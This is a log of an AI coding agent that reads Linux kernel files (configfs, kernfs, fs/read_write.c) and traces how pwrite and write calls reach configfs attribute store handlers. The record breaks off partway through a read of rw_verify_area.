2026/09/04 20:48 |
tool |
read-file |
0m
Args: map[File:fs/configfs/file.c FirstLine:290 LineCount:100]
Results: map[Contents: 290: static int __configfs_open_file(struct inode *inode, struct file *file, int type)
291: {
292: struct dentry *dentry = file->f_path.dentry;
293: struct configfs_fragment *frag = to_frag(file);
294: struct configfs_attribute *attr;
295: struct configfs_buffer *buffer;
296: int error;
297:
298: error = -ENOMEM;
299: buffer = kzalloc_obj(struct configfs_buffer);
300: if (!buffer)
301: goto out;
302:
303: error = -ENOENT;
304: down_read(&frag->frag_sem);
305: if (unlikely(frag->frag_dead))
306: goto out_free_buffer;
307:
308: error = -EINVAL;
309: buffer->item = to_item(dentry->d_parent);
310: if (!buffer->item)
311: goto out_free_buffer;
312:
313: attr = to_attr(dentry);
314: if (!attr)
315: goto out_free_buffer;
316:
317: if (type & CONFIGFS_ITEM_BIN_ATTR) {
318: buffer->bin_attr = to_bin_attr(dentry);
319: buffer->cb_max_size = buffer->bin_attr->cb_max_size;
320: } else {
321: buffer->attr = attr;
322: }
323:
324: buffer->owner = attr->ca_owner;
325: /* Grab the module reference for this attribute if we have one */
326: error = -ENODEV;
327: if (!try_module_get(buffer->owner))
328: goto out_free_buffer;
329:
330: error = -EACCES;
331: if (!buffer->item->ci_type)
332: goto out_put_module;
333:
334: buffer->ops = buffer->item->ci_type->ct_item_ops;
335:
336: /* File needs write support.
337: * The inode's perms must say it's ok,
338: * and we must have a store method.
339: */
340: if (file->f_mode & FMODE_WRITE) {
341: if (!(inode->i_mode & S_IWUGO))
342: goto out_put_module;
343: if ((type & CONFIGFS_ITEM_ATTR) && !attr->store)
344: goto out_put_module;
345: if ((type & CONFIGFS_ITEM_BIN_ATTR) && !buffer->bin_attr->write)
346: goto out_put_module;
347: }
348:
349: /* File needs read support.
350: * The inode's perms must say it's ok, and we there
351: * must be a show method for it.
352: */
353: if (file->f_mode & FMODE_READ) {
354: if (!(inode->i_mode & S_IRUGO))
355: goto out_put_module;
356: if ((type & CONFIGFS_ITEM_ATTR) && !attr->show)
357: goto out_put_module;
358: if ((type & CONFIGFS_ITEM_BIN_ATTR) && !buffer->bin_attr->read)
359: goto out_put_module;
360: }
361:
362: mutex_init(&buffer->mutex);
363: buffer->needs_read_fill = 1;
364: buffer->read_in_progress = false;
365: buffer->write_in_progress = false;
366: file->private_data = buffer;
367: up_read(&frag->frag_sem);
368: return 0;
369:
370: out_put_module:
371: module_put(buffer->owner);
372: out_free_buffer:
373: up_read(&frag->frag_sem);
374: kfree(buffer);
375: out:
376: return error;
377: }
378:
379: static int configfs_release(struct inode *inode, struct file *filp)
380: {
381: struct configfs_buffer *buffer = filp->private_data;
382:
383: module_put(buffer->owner);
384: kfree(buffer->page);
385: mutex_destroy(&buffer->mutex);
386: kfree(buffer);
387: return 0;
388: }
389:
]
|
| 130/7 |
2026/09/04 20:48 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 25395
output: 31
thoughts: 389
Thoughts: **My Thought Process During `configfs` Open Operations**
I'm trying to understand the nuances of how `configfs` handles file operations, specifically focusing on the `open` call and its implications for file modes, particularly concerning `pwrite` capabilities.
My initial thought is to examine what happens immediately after a file is opened. I see that `do_dentry_open` sets certain flags in the file structure (`f->f_mode`), specifically `FMODE_LSEEK`, `FMODE_PREAD`, and `FMODE_PWRITE`. This is a crucial starting point, as it establishes the baseline capabilities of the opened file.
Following this, `__configfs_open_file` is invoked, either through `configfs_open_file` or `configfs_open_bin_file`. My next question is whether `__configfs_open_file` itself alters `f->f_mode`. I've reviewed its code, and it appears that this particular function *does not* modify `f->f_mode`. This is important because it means the flags set by `do_dentry_open` are the ones that persist, unless explicitly changed by a subsequent operation.
However, I then recall that `configfs` has different file operations structures for regular files and binary files. I've pulled up the definitions:
For `configfs_file_operations`, which is likely used for standard configuration files, I see it defines `read_iter`, `write_iter`, `llseek` (using `generic_file_llseek`), `open` (calling `configfs_open_file`), and `release`.
For `configfs_bin_file_operations`, which is for binary files, it defines `read_iter`, `write_iter`, `llseek` as `NULL` (explicitly stating the bin file is not seekable), `open` (calling `configfs_open_bin_file`), and `release_bin_file`.
This distinction is significant. The `configfs_bin_file_operations` explicitly setting `llseek` to `NULL` suggests a fundamental difference in how seek operations are handled, or perhaps not handled at all, for binary files within `configfs`.
This then leads me to a broader comparison: how does `sysfs` or, more generally, `kernfs` handle `pwrite` versus `write`? And how does this compare to `configfs`'s approach? I know `kernfs` is the underlying framework for `sysfs`, and understanding its write logic might shed light on `configfs`'s behavior, especially since `configfs` is built on top of `kernfs`. My next step is to investigate `kernfs` in `fs/kernfs/file.c` to draw parallels and contrasts with `configfs`'s write mechanisms and how they interact with the `FMODE_PWRITE` flag established earlier. I need to see if `kernfs` has specific handling for `pwrite` that might be inherited or overridden by `configfs`.
|
| 131/7 |
2026/09/04 20:49 |
tool |
grepper |
0m
Args: map[Expression:kernfs_fop_write PathPrefix:fs/kernfs]
Results: map[Output:fs/kernfs/file.c=287=static ssize_t kernfs_fop_read_iter(struct kiocb *iocb, struct iov_iter *iter)
--
fs/kernfs/file.c-303- */
fs/kernfs/file.c:304:static ssize_t kernfs_fop_write_iter(struct kiocb *iocb, struct iov_iter *iter)
fs/kernfs/file.c-305-{
--
fs/kernfs/file.c=603=static int kernfs_fop_open(struct inode *inode, struct file *file)
--
fs/kernfs/file.c-669- * Write path needs to atomic_write_len outside active reference.
fs/kernfs/file.c:670: * Cache it in open_file. See kernfs_fop_write_iter() for details.
fs/kernfs/file.c-671- */
--
fs/kernfs/file.c=1008=const struct file_operations kernfs_file_fops = {
fs/kernfs/file.c-1009- .read_iter = kernfs_fop_read_iter,
fs/kernfs/file.c:1010: .write_iter = kernfs_fop_write_iter,
fs/kernfs/file.c-1011- .llseek = kernfs_fop_llseek,
]
|
| 132/7 |
2026/09/04 20:49 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 26176
output: 36
thoughts: 52
Thoughts: **My Thought Process on Examining `kernfs_fop_write_iter`**
My primary objective here is to deeply understand the inner workings of `kernfs_fop_write_iter` within `fs/kernfs/file.c`. I'm not just looking for a superficial overview; I want to grasp the fundamental "why" behind kernfs's implementation choices. This dive is crucial because I've encountered and am aware of various issues that have surfaced concerning sysfs and configfs, both of which rely on kernfs. By dissecting this specific function, I anticipate gaining insight into the architectural decisions that might be the root cause or contribute to these observed problems. I'm particularly interested in how kernfs handles write operations at the iterator level, as this is often where complex interactions with the underlying filesystem structures and the kernel's memory management occur. My aim is to connect the dots between the code's behavior and the practical implications and reported bugs within sysfs and configfs.
|
| 133/7 |
2026/09/04 20:49 |
tool |
read-file |
0m
Args: map[File:fs/kernfs/file.c FirstLine:300 LineCount:60]
Results: map[Contents: 300: * the first write. Hint: if you're writing a value, first read the file,
301: * modify only the value you're changing, then write entire buffer
302: * back.
303: */
304: static ssize_t kernfs_fop_write_iter(struct kiocb *iocb, struct iov_iter *iter)
305: {
306: struct kernfs_open_file *of = kernfs_of(iocb->ki_filp);
307: ssize_t len = iov_iter_count(iter);
308: const struct kernfs_ops *ops;
309: char *buf;
310:
311: if (of->atomic_write_len) {
312: if (len > of->atomic_write_len)
313: return -E2BIG;
314: } else {
315: len = min_t(size_t, len, PAGE_SIZE);
316: }
317:
318: buf = of->prealloc_buf;
319: if (buf)
320: mutex_lock(&of->prealloc_mutex);
321: else
322: buf = kmalloc(len + 1, GFP_KERNEL);
323: if (!buf)
324: return -ENOMEM;
325:
326: if (copy_from_iter(buf, len, iter) != len) {
327: len = -EFAULT;
328: goto out_free;
329: }
330: buf[len] = '\0'; /* guarantee string termination */
331:
332: /*
333: * @of->mutex nests outside active ref and is used both to ensure that
334: * the ops aren't called concurrently for the same open file.
335: */
336: mutex_lock(&of->mutex);
337: if (!kernfs_get_active_of(of)) {
338: mutex_unlock(&of->mutex);
339: len = -ENODEV;
340: goto out_free;
341: }
342:
343: ops = kernfs_ops(of->kn);
344: if (ops->write)
345: len = ops->write(of, buf, len, iocb->ki_pos);
346: else
347: len = -EINVAL;
348:
349: kernfs_put_active_of(of);
350: mutex_unlock(&of->mutex);
351:
352: if (len > 0)
353: iocb->ki_pos += len;
354:
355: out_free:
356: if (buf == of->prealloc_buf)
357: mutex_unlock(&of->prealloc_mutex);
358: else
359: kfree(buf);
]
|
| 134/7 |
2026/09/04 20:49 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 27130
output: 29
thoughts: 57
Thoughts: **My Thought Process on Investigating Write Operations**
Ah, this is an interesting juncture. My immediate inclination is to dive into the specifics of how data is written to the filesystem. I want to understand the underlying mechanisms, so I'm looking at the `vfs_write` function and comparing it to `configfs_write_iter`. The contrast here is important – one is a general filesystem write operation, while the other is specifically tailored for the configfs interface. To truly grasp the differences and potential implications, I need to dissect `vfs_write` itself. My next step is to locate its implementation, which I expect to find in `fs/read_write.c`, and then meticulously examine its code.
|
| 135/7 |
2026/09/04 20:49 |
tool |
grepper |
0m
Args: map[Expression:ssize_t vfs_write PathPrefix:fs]
Results: map[Output:fs/read_write.c=665=EXPORT_SYMBOL(kernel_write);
fs/read_write.c-666-
fs/read_write.c:667:ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
fs/read_write.c-668-{
--
fs/read_write.c=991=static ssize_t vfs_readv(struct file *file, const struct iovec __user *vec,
--
fs/read_write.c-1028-
fs/read_write.c:1029:static ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
fs/read_write.c-1030- unsigned long vlen, loff_t *pos, rwf_t flags)
]
|
| 136/7 |
2026/09/04 20:49 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 27432
output: 35
thoughts: 20
Thoughts: **My Thought Process on `vfs_write`**
Alright, the first thing I want to do is dive into the `vfs_write` function, which I know is located in `fs/read_write.c`. This is a crucial entry point for any write operation within the Virtual File System (VFS) layer, so understanding its mechanics is key to comprehending how data actually gets persisted. I'm expecting this function to be the orchestrator, the central hub that takes a generic write request and figures out the specifics of where and how to write that data, ultimately delegating to the actual filesystem driver. I'll be looking for how it handles different scenarios – things like regular files, special files, and perhaps even network file systems. I'll need to trace the path from the initial call to `vfs_write` all the way down to the concrete `write_inode` or `write_file` operation of the underlying filesystem. I'm particularly interested in error handling, buffer management, and how it interacts with page cache and block layer if applicable. Understanding these details will give me a solid foundation for debugging or optimizing write performance.
|
| 137/7 |
2026/09/04 20:49 |
tool |
read-file |
0m
Args: map[File:fs/read_write.c FirstLine:667 LineCount:50]
Results: map[Contents: 667: ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
668: {
669: ssize_t ret;
670:
671: if (!(file->f_mode & FMODE_WRITE))
672: return -EBADF;
673: if (!(file->f_mode & FMODE_CAN_WRITE))
674: return -EINVAL;
675: if (unlikely(!access_ok(buf, count)))
676: return -EFAULT;
677:
678: ret = rw_verify_area(WRITE, file, pos, count);
679: if (ret)
680: return ret;
681: if (count > MAX_RW_COUNT)
682: count = MAX_RW_COUNT;
683: file_start_write(file);
684: if (file->f_op->write)
685: ret = file->f_op->write(file, buf, count, pos);
686: else if (file->f_op->write_iter)
687: ret = new_sync_write(file, buf, count, pos);
688: else
689: ret = -EINVAL;
690: if (ret > 0) {
691: fsnotify_modify(file);
692: add_wchar(current, ret);
693: }
694: inc_syscw(current);
695: file_end_write(file);
696: return ret;
697: }
698:
699: /* file_ppos returns &file->f_pos or NULL if file is stream */
700: static inline loff_t *file_ppos(struct file *file)
701: {
702: return file->f_mode & FMODE_STREAM ? NULL : &file->f_pos;
703: }
704:
705: ssize_t ksys_read(unsigned int fd, char __user *buf, size_t count)
706: {
707: CLASS(fd_pos, f)(fd);
708: ssize_t ret = -EBADF;
709:
710: if (!fd_empty(f)) {
711: loff_t pos, *ppos = file_ppos(fd_file(f));
712: if (ppos) {
713: pos = *ppos;
714: ppos = &pos;
715: }
716: ret = vfs_read(fd_file(f), buf, count, ppos);
]
|
| 138/7 |
2026/09/04 20:49 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 28261
output: 26
thoughts: 30
Thoughts: **Exploring the `new_sync_write` Function**
My immediate impulse is to delve into the functionality of this `new_sync_write` call. To do that, I need to understand its implementation details. My current plan is to locate its definition within the kernel source code, specifically in the `fs/read_write.c` file. This will allow me to trace its execution path and comprehend how it interacts with the file system layer for synchronous write operations.
|
| 139/7 |
2026/09/04 20:49 |
tool |
grepper |
0m
Args: map[Expression:new_sync_write PathPrefix:fs]
Results: map[Output:fs/read_write.c=554=ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
--
fs/read_write.c-584-
fs/read_write.c:585:static ssize_t new_sync_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
fs/read_write.c-586-{
--
fs/read_write.c=667=ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
--
fs/read_write.c-686- else if (file->f_op->write_iter)
fs/read_write.c:687: ret = new_sync_write(file, buf, count, pos);
fs/read_write.c-688- else
]
|
| 140/7 |
2026/09/04 20:49 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 28557
output: 35
thoughts: 21
Thoughts: **My Thought Process Regarding `new_sync_write`**
Alright, my immediate thought is that I need to dive into the `new_sync_write` function within `fs/read_write.c`. My intention here is to gain a deep, granular understanding of its inner workings. I'm not just looking for a surface-level overview; as an expert in this domain, I need to comprehend the precise logic, the state transitions, the data flow, and crucially, any potential edge cases or performance implications this function might introduce. I'll be scrutinizing the system calls it makes, how it interacts with the page cache, its error handling mechanisms, and any synchronization primitives it employs. My goal is to fully grasp its contribution to the overall file system write path, particularly how it ensures synchronous behavior and what that entails in terms of system call guarantees and potential blocking characteristics. I'll be thinking critically about how this function fits into the broader context of I/O operations and how it might be optimized or, conversely, where it might represent a bottleneck.
|
| 141/7 |
2026/09/04 20:49 |
tool |
read-file |
0m
Args: map[File:fs/read_write.c FirstLine:580 LineCount:30]
Results: map[Contents: 580: }
581: inc_syscr(current);
582: return ret;
583: }
584:
585: static ssize_t new_sync_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
586: {
587: struct kiocb kiocb;
588: struct iov_iter iter;
589: ssize_t ret;
590:
591: init_sync_kiocb(&kiocb, filp);
592: kiocb.ki_pos = (ppos ? *ppos : 0);
593: iov_iter_ubuf(&iter, ITER_SOURCE, (void __user *)buf, len);
594:
595: ret = filp->f_op->write_iter(&kiocb, &iter);
596: BUG_ON(ret == -EIOCBQUEUED);
597: if (ret > 0 && ppos)
598: *ppos = kiocb.ki_pos;
599: return ret;
600: }
601:
602: /* caller is responsible for file_start_write/file_end_write */
603: ssize_t __kernel_write_iter(struct file *file, struct iov_iter *from, loff_t *pos)
604: {
605: struct kiocb kiocb;
606: ssize_t ret;
607:
608: if (WARN_ON_ONCE(!(file->f_mode & FMODE_WRITE)))
609: return -EBADF;
]
|
| 142/7 |
2026/09/04 20:49 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 29094
output: 26
thoughts: 1705
Thoughts: **Understanding Configfs Write Behavior with pwrite and write**
My thought process has been a deep dive into how `pwrite` and `write` interact with the configfs filesystem, specifically when used in a tight loop. I'm trying to unravel the precise sequence of kernel calls and data flow to understand the implications for data handling.
It started with tracing a user's execution of `pwrite(fd, buf, len, 0)` within a loop. My initial step was to follow the system call path:
1. **`ksys_pwrite64(fd, buf, len, 0)`**: I noted that the `pos` argument is explicitly `0`. Crucially, I saw that because `FMODE_PWRITE` was set during the `configfs` open and not cleared, the subsequent `vfs_write` call would receive a pointer to this *local* `pos = 0` variable, not the file's persistent `f_pos`.
2. **`vfs_write`**: Within `vfs_write`, I identified that the relevant file operation was `configfs_write_iter` (or `configfs_bin_write_iter` for binary attributes). This led to a call to `new_sync_write`.
3. **`new_sync_write`**: Here, a synchronous I/O control block (`kiocb`) is initialized. The key observation for `pwrite` is that `kiocb.ki_pos` is set to the value pointed to by `ppos`, which, as established, is `0`. Then, the user buffer is prepared via `iov_iter_ubuf` and passed to `configfs_write_iter`.
4. **`configfs_write_iter`**: This is where the core configfs logic resides. I meticulously examined its implementation:
* It acquires a mutex protecting the `configfs_buffer`.
* It calls `fill_write_buffer` to copy data from the user's `iov_iter` into `buffer->page`. I specifically noted that this copy happens into `buffer->page` starting at offset `0`, regardless of any `ki_pos` value, and a NUL terminator is appended.
* If `fill_write_buffer` succeeds, `flush_write_buffer` is called.
* `flush_write_buffer` is the critical path that ultimately invokes the user-defined `buffer->attr->store` function, passing it the `buffer->item`, the `buffer->page` (containing the data copied from userspace), and the number of bytes copied (`count`).
* After flushing, `iocb->ki_pos` is incremented by the number of bytes written (`len`).
* Finally, the mutex is released.
5. **`fill_write_buffer`**: My analysis confirmed that this function, on its first call, allocates `buffer->page`. Subsequent calls reuse this page. The `copy_from_iter` within it always copies into `buffer->page` starting at offset `0`, and it null-terminates the buffer. It returns the number of bytes copied.
6. **`flush_write_buffer`**: This function obtains a read lock on the fragment's semaphore and then directly calls the `attr->store` method, passing the `buffer->page` and the `count` received from `fill_write_buffer`. The return value of `store()` is what ultimately propagates back.
7. **Returning to `configfs_write_iter`**: The `iocb->ki_pos` is updated.
8. **Returning to `new_sync_write`**: The `*ppos` pointer (which, for `pwrite`, points to our initial `pos = 0`) is updated with `kiocb.ki_pos`. This is interesting, but since we're *always* passing `0` to `pwrite`, this update to `*ppos` is effectively lost on subsequent iterations.
9. **Returning to `ksys_pwrite64`**: The `len` returned by `vfs_write` is passed back to userspace.
Now, the crucial part: the *next* iteration of the tight loop with `pwrite(fd, buf, len, 0)`:
* The exact same path is followed. `ksys_pwrite64` receives `pos = 0`. `new_sync_write` initializes `kiocb.ki_pos = 0`. `configfs_write_iter` *again* calls `fill_write_buffer`, which reuses `buffer->page` and copies the *new* user data into `buffer->page` starting at offset `0`. `flush_write_buffer` calls `attr->store` with this *new* data. `iocb->ki_pos` is incremented, but since `*ppos` is still `0`, this updated `ki_pos` has no lasting effect on the next system call's `pos` argument.
This led me to ponder the difference with a regular `write(fd, buf, len)`:
* **`ksys_write`**: Here, the `ppos` argument passed to `vfs_write` points to `file->f_pos`.
* **First `write`**: `file->f_pos` is initially `0`. After the write, `file->f_pos` is updated to `len`.
* **Second `write`**: `vfs_write` is now called with `pos = file->f_pos` (which is `len`).
* **In `configfs_write_iter`**:
* `fill_write_buffer` still copies data into `buffer->page` at offset `0`.
* `flush_write_buffer` calls `attr->store(...)`.
* `iocb->ki_pos` is updated (starting from the `pos` passed into `vfs_write`, so `len + len`).
* `new_sync_write` then updates `file->f_pos` to this new value (`len + len`).
The fundamental realization here is that for `configfs`, the `fill_write_buffer` and `flush_write_buffer` functions *do not use the `kiocb->ki_pos` or the `*ppos` value at all when copying data into `buffer->page` or when calling `attr->store`*. They always operate on `buffer->page` starting from its beginning (offset 0). The `iocb->ki_pos` is *only* updated *after* the `store` operation has completed and the data has been processed.
This means that whether `pwrite(fd, buf, len, 0)` or `write(fd, buf, len)` is used, the `buffer->attr->store` function will always receive the *most recently supplied user data* in `buffer->page` starting from offset 0. The position argument (`0` for `pwrite(..., 0)` or `file->f_pos` for `write`) primarily affects how `file->f_pos` (for `write`) or the local `pos` variable (for `pwrite`) is updated *after* the data has been processed by `configfs_write_iter`.
This implies that for configuration attributes exposed via configfs, the behavior of `pwrite(..., 0)` in a loop is effectively identical to repeated `write()` calls in terms of *which data gets passed to the attribute's `store` method*. The `pwrite(..., 0)` call simply overwrites whatever was previously in the `buffer->page` with the new user data, and the `store` method is invoked. The `pos` argument of `0` for `pwrite` prevents `file->f_pos` from being advanced by `write`'s mechanism, but `configfs` itself doesn't leverage `f_pos` for the actual data transfer into its internal buffer.
I'm now considering if `rw_verify_area` in `vfs_write` might impose any restrictions based on `*ppos`, but my current focus is on the configfs-specific handlers.
|
| 143/7 |
2026/09/04 20:49 |
tool |
grepper |
0m
Args: map[Expression:rw_verify_area PathPrefix:fs]
Results: map[Output:fs/aio.c=1634=static int aio_read(struct kiocb *req, const struct iocb *iocb,
--
fs/aio.c-1653- return ret;
fs/aio.c:1654: ret = rw_verify_area(READ, file, &req->ki_pos, iov_iter_count(&iter));
fs/aio.c-1655- if (!ret)
--
fs/aio.c=1661=static int aio_write(struct kiocb *req, const struct iocb *iocb,
--
fs/aio.c-1681- return ret;
fs/aio.c:1682: ret = rw_verify_area(WRITE, file, &req->ki_pos, iov_iter_count(&iter));
fs/aio.c-1683- if (!ret) {
--
fs/btrfs/ioctl.c=4298=static int btrfs_ioctl_encoded_read(struct file *file, void __user *argp,
--
fs/btrfs/ioctl.c-4360- pos = args.offset;
fs/btrfs/ioctl.c:4361: ret = rw_verify_area(READ, file, &pos, args.len);
fs/btrfs/ioctl.c-4362- if (ret < 0)
--
fs/btrfs/ioctl.c=4411=static int btrfs_ioctl_encoded_write(struct file *file, void __user *argp, bool compat)
--
fs/btrfs/ioctl.c-4484- pos = args.offset;
fs/btrfs/ioctl.c:4485: ret = rw_verify_area(WRITE, file, &pos, args.len);
fs/btrfs/ioctl.c-4486- if (ret < 0)
--
fs/btrfs/ioctl.c=4688=static int btrfs_uring_encoded_read(struct io_uring_cmd *cmd, unsigned int issue_flags)
--
fs/btrfs/ioctl.c-4774- pos = data->args.offset;
fs/btrfs/ioctl.c:4775: ret = rw_verify_area(READ, file, &pos, data->args.len);
fs/btrfs/ioctl.c-4776- if (ret < 0)
--
fs/btrfs/ioctl.c=4837=static int btrfs_uring_encoded_write(struct io_uring_cmd *cmd, unsigned int issue_flags)
--
fs/btrfs/ioctl.c-4934- pos = data->args.offset;
fs/btrfs/ioctl.c:4935: ret = rw_verify_area(WRITE, file, &pos, data->args.len);
fs/btrfs/ioctl.c-4936- if (ret < 0)
--
fs/erofs/data.c=29=void *erofs_bread(struct erofs_buf *buf, erofs_off_t offset, bool need_kmap)
--
fs/erofs/data.c-42- fpos = (loff_t)index << PAGE_SHIFT;
fs/erofs/data.c:43: err = rw_verify_area(READ, buf->file, &fpos, PAGE_SIZE);
fs/erofs/data.c-44- if (err < 0)
--
fs/nfsd/vfs.c=1079=__be32 nfsd_splice_read(struct svc_rqst *rqstp, struct svc_fh *fhp,
--
fs/nfsd/vfs.c-1091- trace_nfsd_read_splice(rqstp, fhp, offset, *count);
fs/nfsd/vfs.c:1092: host_err = rw_verify_area(READ, file, &offset, *count);
fs/nfsd/vfs.c-1093- if (!host_err)
--
fs/overlayfs/copy_up.c=260=static int ovl_copy_up_file(struct ovl_fs *ofs, struct dentry *dentry,
--
fs/overlayfs/copy_up.c-288- /* Couldn't clone, so now we try to copy the data */
fs/overlayfs/copy_up.c:289: error = rw_verify_area(READ, old_file, &old_pos, len);
fs/overlayfs/copy_up.c-290- if (!error)
fs/overlayfs/copy_up.c:291: error = rw_verify_area(WRITE, new_file, &new_pos, len);
fs/overlayfs/copy_up.c-292- if (error)
--
fs/overlayfs/file.c=527=static loff_t ovl_copyfile(struct file *file_in, loff_t pos_in,
--
fs/overlayfs/file.c-561- with_ovl_creds(inode_in->i_sb) {
fs/overlayfs/file.c:562: ret = rw_verify_area(READ, realfile_in, &pos_in, len);
fs/overlayfs/file.c-563- if (unlikely(ret))
--
fs/read_write.c=426=SYSCALL_DEFINE5(llseek, unsigned int, fd, unsigned long, offset_high,
--
fs/read_write.c-452-
fs/read_write.c:453:int rw_verify_area(int read_write, struct file *file, const loff_t *ppos, size_t count)
fs/read_write.c-454-{
--
fs/read_write.c-480-}
fs/read_write.c:481:EXPORT_SYMBOL(rw_verify_area);
fs/read_write.c-482-
--
fs/read_write.c=543=ssize_t kernel_read(struct file *file, void *buf, size_t count, loff_t *pos)
--
fs/read_write.c-546-
fs/read_write.c:547: ret = rw_verify_area(READ, file, pos, count);
fs/read_write.c-548- if (ret)
--
fs/read_write.c=554=ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
--
fs/read_write.c-564-
fs/read_write.c:565: ret = rw_verify_area(READ, file, pos, count);
fs/read_write.c-566- if (ret)
--
fs/read_write.c=651=ssize_t kernel_write(struct file *file, const void *buf, size_t count,
--
fs/read_write.c-655-
fs/read_write.c:656: ret = rw_verify_area(WRITE, file, pos, count);
fs/read_write.c-657- if (ret)
--
fs/read_write.c=667=ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
--
fs/read_write.c-677-
fs/read_write.c:678: ret = rw_verify_area(WRITE, file, pos, count);
fs/read_write.c-679- if (ret)
--
fs/read_write.c=869=ssize_t vfs_iocb_iter_read(struct file *file, struct kiocb *iocb,
--
fs/read_write.c-884- goto out;
fs/read_write.c:885: ret = rw_verify_area(READ, file, &iocb->ki_pos, tot_len);
fs/read_write.c-886- if (ret < 0)
--
fs/read_write.c=897=ssize_t vfs_iter_read(struct file *file, struct iov_iter *iter, loff_t *ppos,
--
fs/read_write.c-912- goto out;
fs/read_write.c:913: ret = rw_verify_area(READ, file, ppos, tot_len);
fs/read_write.c-914- if (ret < 0)
--
fs/read_write.c=929=ssize_t vfs_iocb_iter_write(struct file *file, struct kiocb *iocb,
--
fs/read_write.c-944- return 0;
fs/read_write.c:945: ret = rw_verify_area(WRITE, file, &iocb->ki_pos, tot_len);
fs/read_write.c-946- if (ret < 0)
--
fs/read_write.c=960=ssize_t vfs_iter_write(struct file *file, struct iov_iter *iter, loff_t *ppos,
--
fs/read_write.c-976-
fs/read_write.c:977: ret = rw_verify_area(WRITE, file, ppos, tot_len);
fs/read_write.c-978- if (ret < 0)
--
fs/read_write.c=991=static ssize_t vfs_readv(struct file *file, const struct iovec __user *vec,
--
fs/read_write.c-1013-
fs/read_write.c:1014: ret = rw_verify_area(READ, file, pos, tot_len);
fs/read_write.c-1015- if (ret < 0)
--
fs/read_write.c=1029=static ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
--
fs/read_write.c-1051-
fs/read_write.c:1052: ret = rw_verify_area(WRITE, file, pos, tot_len);
fs/read_write.c-1053- if (ret < 0)
--
fs/read_write.c=1303=static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
--
fs/read_write.c-1327- }
fs/read_write.c:1328: retval = rw_verify_area(READ, fd_file(in), &pos, count);
fs/read_write.c-1329- if (retval < 0)
--
fs/read_write.c-1367- if (!opipe) {
fs/read_write.c:1368: retval = rw_verify_area(WRITE, fd_file(out), &out_pos, count);
fs/read_write.c-1369- if (retval < 0)
--
fs/read_write.c=1553=ssize_t vfs_copy_file_range(struct file *file_in, loff_t pos_in,
--
fs/read_write.c-1568-
fs/read_write.c:1569: ret = rw_verify_area(READ, file_in, &pos_in, len);
fs/read_write.c-1570- if (unlikely(ret))
--
fs/read_write.c-1572-
fs/read_write.c:1573: ret = rw_verify_area(WRITE, file_out, &pos_out, len);
fs/read_write.c-1574- if (unlikely(ret))
--
fs/splice.c=944=static void do_splice_eof(struct splice_desc *sd)
--
fs/splice.c-950-/*
fs/splice.c:951: * Callers already called rw_verify_area() on the entire range.
fs/splice.c-952- * No need to call it for sub ranges.
--
fs/splice.c=998=ssize_t vfs_splice_read(struct file *in, loff_t *ppos,
--
fs/splice.c-1003-
fs/splice.c:1004: ret = rw_verify_area(READ, in, ppos, len);
fs/splice.c-1005- if (unlikely(ret < 0))
--
fs/splice.c=1180=static ssize_t do_splice_direct_actor(struct file *in, loff_t *ppos,
--
fs/splice.c-1222- *
fs/splice.c:1223: * Callers already called rw_verify_area() on the entire range.
fs/splice.c-1224- */
--
fs/splice.c=1231=EXPORT_SYMBOL(do_splice_direct);
--
fs/splice.c-1245- *
fs/splice.c:1246: * Callers already called rw_verify_area() on the entire range.
fs/splice.c-1247- */
--
fs/splice.c=1300=ssize_t do_splice(struct file *in, loff_t *off_in, struct file *out,
--
fs/splice.c-1340-
fs/splice.c:1341: ret = rw_verify_area(WRITE, out, &offset, len);
fs/splice.c-1342- if (unlikely(ret < 0))
--
fs/splice.c-1366-
fs/splice.c:1367: ret = rw_verify_area(READ, in, &offset, len);
fs/splice.c-1368- if (unlikely(ret < 0))
]
|
| 144/7 |
2026/09/04 20:49 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 34409
output: 35
thoughts: 21
Thoughts: **My Thought Process**
Okay, so my immediate instinct when encountering a problem or needing to understand a specific behavior related to reading and writing data, particularly within the context of file systems, is to dive directly into the source code. My first port of call, given the subject matter, is to locate the core implementation. Therefore, I'd be thinking: "I need to see how these `read` and `write` operations are actually handled at the kernel level. The most logical place to start is a function that clearly signals its purpose in verifying the area involved in these operations."
This leads me directly to `fs/read_write.c`, which sounds like the absolute sweet spot for this kind of investigation. Within that file, I'd then be looking for a function name that explicitly mentions both "verify" and "area" in relation to "read" and "write". The function `rw_verify_area` fits this description perfectly. It's a highly descriptive name, suggesting it's a critical piece of logic that ensures the integrity of the memory regions or file system blocks being accessed during read or write requests. My expectation is that this function will contain the crucial checks, possibly involving memory mapping, page table manipulation, or access permissions, to ensure that the operation can proceed safely and correctly. I'm assuming it's a gatekeeper function, performing essential validation before the actual data transfer takes place.
|
| 145/7 |
2026/09/04 20:49 |
tool |
read-file |
0m
Args: map[File:fs/read_write.c FirstLine:450 LineCount:35]
Results: map[Contents: 450: }
451: #endif
452:
453: int rw_verify_area(int read_write, struct file *file, const loff_t *ppos, size_t count)
454: {
455: int mask = read_write == READ ? MAY_READ : MAY_WRITE;
456: int ret;
457:
458: if (unlikely((ssize_t) count < 0))
459: return -EINVAL;
460:
461: if (ppos) {
462: loff_t pos = *ppos;
463:
464: if (unlikely(pos < 0)) {
465: if (!unsigned_offsets(file))
466: return -EINVAL;
467: if (count >= -pos) /* both values are in 0..LLONG_MAX */
468: return -EOVERFLOW;
469: } else if (unlikely((loff_t) (pos + count) < 0)) {
470: if (!unsigned_offsets(file))
471: return -EINVAL;
472: }
473: }
474:
475: ret = security_file_permission(file, mask);
476: if (ret)
477: return ret;
478:
